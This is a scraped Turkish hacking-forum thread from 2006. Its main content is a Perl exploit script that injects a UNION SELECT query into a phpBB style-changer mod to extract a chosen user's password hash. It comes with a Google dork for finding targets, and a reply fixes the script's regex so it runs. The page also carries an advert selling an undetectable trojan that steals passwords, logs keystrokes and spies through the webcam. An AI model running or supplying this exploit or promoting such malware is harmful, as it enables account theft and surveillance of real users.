phpBB Style ChangerViewer MOD SQL injection Exploit

#!/usr/bin/perl ######################################################### # # # Respectable # # # # # #phpBB Style Changer/Demo Mod-->GET HASH EXPLOIT # #Created By respectable # #wardom Team # #http://www.wardom.org # # # #Turkey Konu respectable tarafından açılmış, 832 kişi tarafından görüntülenip, 2 yanıt almış.

Özel Yazılım Trojan+, güncellemeli ve garantili. Sadece 690TL! Kredi kartınıza 12 taksit kolaylığı!


Karşı sistemi kendi makineniniz gibi kullandıran uzaktan yönetim programı.
  • Canlı ekran izleme,vnc ve mouse kontrolü
  • Antiviruslerce %100 tanınmaz, güncelleme garantili
  • Ortam sesi dinleme
  • Webcam izleme
  • Online/offline keylogger
  • Kopyala/Yapıştır, Clipboard Yöneticisi (Canlı)
  • Warlogger desteği
  • Çalıştırma,upload,download,yeniden adlandırma,silme,gizli çalıştırma,thumbnail görüntüleme(indirmeden dosya görme)
  • Registry yöneticisi (tam özellikli)
  • Msn şifrelerini ve geçmişteki tüm adresleri çıkartma
  • Firefox şifrelerini çözme
  • Görev yöneticisi, görev sonlandırma
  • Çalışan programları listeleme
  • Bağlı sistemlerin yaptığı işlemleri tek listede görme!
  • Binder / dosya birleştirici
  • Virus tipinde resource kullanmadan bindleme özelliği
  • Mp3,resim,jpeg,vs her türlü dosya ile birleşip,exploitler ile link üzerinden,htmlden yayılır
  • Keyloggerda dll kullanmadan system hooklarıyla loglama ve tabii dll kullanmadan kimse yapamıyorken %100 sisteme zarar vermeden stabil bütün dünya dillerinde loglama.
  • Internet Explorer 9 şifre çözme
  • Chrome Şifreleri (bütün sürümler)
  • Firefox Şifreleri (bütün sürümler)
  • Internet Exporer Şifreleri (bütün sürümler)
  • Safari Şifreleri (bütün sürümler)
  • Reklam Bot ile site reklamı, dosya yükletme, bulaştırma,vs. MSN,Yahoo Messenger,ICQ ve AIM sistemlerinin hepsini tanır. Reklam bot aynı anda birden fazla sisteme komut verebilir.
  • Browserda geçmiş verileri, form girdilerini kayıt edip trojandan erişme
  • Klavye Kilitleme
  • Mouse Kilitleme
  • Masaüstü Gizleme
  • Sistemlere takılı flash/usb disk varsa bulaştırma Birden fazla sisteme aynı anda autorun oluşturabilir.
  • Uzaktan exe yükletme Aynı anda birden fazla sisteme exeleri tek komutla yükletebilir.
  • Fake sistem kilitleme. Tek tıklama ile karşı sistemi restart/yeniden başlat moduna geçmiş gösterip kilitleme. Kullanıcı fişten çekmediği sürece siz istemedikçe bilgisayarı kapatamaz, yeniden başlatamaz.
  • Karşı sistemin yeniden başlatılma talebinde masaustu ve bütün ekranı kapanıyor gibi gösterip kapanış sesini çalara kullanıcıyı bekletme. Kullanıcı sistemi kapatmak istediğinde siz izin vermezseniz windows kapanmaya çalışıyor gibi görünür ancak yonetim panelinden her türlü işlem yapılır.
  • Sistem servislerini yönetme
  • Outlook şifreleri çözme. (bütün outlook versiyonları outlook expressler dahil)
  • Otomatik güncelleme özelliği ile yakalanma durumunda kısa sürede otomatik güncelleme alma
Sadece 690 TL! Satın almak için iletişim formunu kullanabilirsiniz.


Ayrıca, iki farklı üst sürümü var:
Özel Trojan 990 TL: İstediğiniz isimle çalışıp, istediğiniz yere kopyalanır ve başlangıçta, msconfig'de, registry'de görünmez.
ÖZEL TROJAN 1490 TL: Görev yöneticisinde ve sistemin hiç bir yerinde görünmez.


Sürümler: 1200 TL: - Kimsenin bulamayacağı şekilde çalışır!> m3hm3t. 1750 TL: %100 gizlidir, RAM'de çalışır ve bentrojanim.exe olarak çalışsa dahi hiç bir yerde görünmez.

Wardom.Com.TR bir bilgisayar güvenliği sitesidir; hack konuları bilgisayar güvenliğinin ve bilgisinin uç noktaları olduğundan dolayı, kullanıcıları bu konularda bilgilendirmek ve güvenliklerini arttırmak için yazılmaktadır.

Geri Dön   Wardom.Com.TR > Bilgisayar Güvenliği > Exploiting
Üye Ol Sözlük Üye Listesi Arama Yeni Mesajlar Forumları Okundu İşaretle

Konu Başlıkları: changerviewer exploit injection mod phpbb sql style
Üye Olmadan Yorum Yazmak İçin Tıklayın!
phpBB Style ChangerViewer MOD SQL injection Exploit konusundaki toplam yorum: 2, okunma sayısı: 832.
 
Eski 20-02-2006, 01:42   #1
respectable
Çırak
 
respectable's Avatar
 
Kayıt Tarihi: Feb 2006
Üye numarası: #51727
Yer: We're still here and have not gone anywhere. Please excuse the mess and check back shortly. Thank yo
Mesaj sayısı: 28
Karma etkisi: 0 respectable seviye: 10
Karma: 10
Exclamation phpBB Style ChangerViewer MOD SQL injection Exploit

#!/usr/bin/perl
################################################## #######
# #
# Respectable #
# #
# #
#phpBB Style Changer/Demo Mod-->GET HASH EXPLOIT #
#Created By respectable #
#wardom Team #
#http://www.wardom.org #
# #
#Turkey #
################################################## #######
#google:
#"Powered by phpBB" inurl:"index.php?s" OR inurl:"index.php?style"
################################################## #######
use IO::Socket;
if (@ARGV < 3){
Kaynak: Wardom http://www.wardom.com.tr/showthread.php?t=44479
print q{
################################################## ##########
# phpBB Style ChangerViewer MOD SQL injection Exploit #
# Tested on phpBB 2.0.19 #
# created By respectable #
################################################## ##########
bbstyle.pl [HOST] [PATH] [Target id]
bbstyle.pl www.host.com /phpbb2/ 2
################################################## ##########
};
exit;
}
$serv = $ARGV[0];
$dir = $ARGV[1];
$id = $ARGV[2];
print "[+]Make Connectionn";
$serv =~ s/(http://)//eg;
$path = $dir.'index.php?s=-99%20UNION%20SELECT%20null,user_password,null,null ,null,null,null,null,null,null,null,null,null,null ,null,null,null,null,null,null,null,null,null,null ,null,null,null,null,null,null,null,null,null,null ,null,null,null,null,null,null,null,null,null%20FR OM%20phpbb_users%20Where%20user_id='.$id.'/*';
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "80") || die "[-]Connect Failedrn";
print $socket "GET $path HTTP/1.1n";
print $socket "Host: $servn";
print $socket "Accept: */*n";
print $socket "Connection: closenn";
print "[+]Connectedn";
while ($hash = <$socket>){
$hash =~ m/open(.*?)template/ && print "[+]User id: $idn[+]Md5 Hash: $1n";
}

Söle bir perl kodum var fakat calistiramadim.
Su sekilde bi yazi aliyorum .
Unmatched before HERE mark in regex m/<<here http:at dosya adi.pl line 35.

Yardimci olanlara simdiden tsk ediyorum .
respectable Çevrimdışı   Alıntı Yaparak Cevapla

Görüntülediğiniz konu içerik sağlayıcı paylaşım sitelerinden biri olan Wardom Internet Adresimizde 5651 Sayılı Kanunun 8. Maddesine ve T.C.Knın 125. Maddesine göre yayınlanmakta olup içeriğinden yazarı sorumludur. Bu konu hakkında yapılacak tüm hukuksal şikayetler için webmaster \@wardom.org adresi ile iletişime geçilmesi halinde ilgili kanunlar ve yönetmelikler çerçevesinde en geç 3 (üç) gün içerisinde Wardom yönetimi olarak tarafımızca gereken işlemler yapılacak ve avukatlarımız size dönüş yapacaktır.
Eski 21-02-2006, 23:25   #2
nuker
Buradaydı
 
nuker's Avatar
 
Kayıt Tarihi: Dec 2004
Üye numarası: #669
Yer: Uzaklarda
Mesaj sayısı: 501
Karma etkisi: 38 nuker seviye: 2000nuker seviye: 2000nuker seviye: 2000nuker seviye: 2000nuker seviye: 2000nuker seviye: 2000nuker seviye: 2000nuker seviye: 2000nuker seviye: 2000nuker seviye: 2000nuker seviye: 2000
Karma: 3058
Kullanıcıya ICQ yolu ile mesaj gönder Kullanıcıya AIM yolu ile mesaj gönder Kullanıcıya MSN yolu ile mesaj gönder Kullanıcıya Yahoo yolu ile mesaj gönder

http://www.milw0rm.com/id.php?id=1469 exploitin orjinal hali burda bence düzenleme yapmanın hiç bi getirisi olmaz.
Kaynak: Wardom http://www.wardom.com.tr/showthread.php?t=44479
o hatayı vermesinin sebebide 35. satırda regex yaparken $serv =~ s/(http://)//eg; seklinde bir regex fonksiyonu kullanamazsın
$serv =~ s/(http:\/\/)//eg; yapman gerekli \ karakteri herhalde kopyaladığın sitede yoktu securityreasondan aldın sanırım=)

Düzenleyen nuker : 21-02-2006 at 23:28.
nuker Çevrimdışı   Alıntı Yaparak Cevapla

Eski 21-02-2006, 23:54   #3
respectable
Çırak
 
respectable's Avatar
 
Kayıt Tarihi: Feb 2006
Üye numarası: #51727
Yer: We're still here and have not gone anywhere. Please excuse the mess and check back shortly. Thank yo
Mesaj sayısı: 28
Karma etkisi: 0 respectable seviye: 10
Karma: 10

Tsk ederim.
respectable Çevrimdışı   Alıntı Yaparak Cevapla

Üye Olmadan Yorum Yazmak İçin Tıklayın!
Konudaki toplam yorum: 2, okunma sayısı: 832.
Cevapla





Şu Anda Konuyu Görüntüleyenler: 1 (0 üye ve 1 misafir)
 
Konu Araçları Bu Konuda Ara
Bu Konuda Ara:

Gelişmiş Arama

Gönderme Kuralları
You may not post new threads
You may post replies
You may not post attachments
You may not edit your posts

BB code is Açık
Smilies Açık
[IMG] Kodu Açık
HTML Kodu Kapalı

Forum Seç


Hacking ve Bilgisayar Güvenliği Öğrenmek İçin!

Forum saati Türkiye saatine göredir. GMT +3. Şuan saat: 20:56.
(Türkiye için GMT +2 seçilmelidir.)


Wardom.org



İçerik sağlayıcı paylaşım sitelerinden biri olan Wardom Internet Adresimizde 5651 Sayılı Kanun’un 8. Maddesine ve T.C.K’nın 125. Maddesine göre TÜM ÜYELERİMİZ yaptıkları paylaşımlardan sorumludur. Wardom hakkında yapılacak tüm hukuksal şikayetler için webmaster \@wardom.org adresi ile iletişime geçilmesi halinde ilgili kanunlar ve yönetmelikler çerçevesinde en geç 3 (üç) gün içerisinde Wardom yönetimi olarak tarafımızca gereken işlemler yapılacak ve avukatlarımız size dönüş yapacaktır.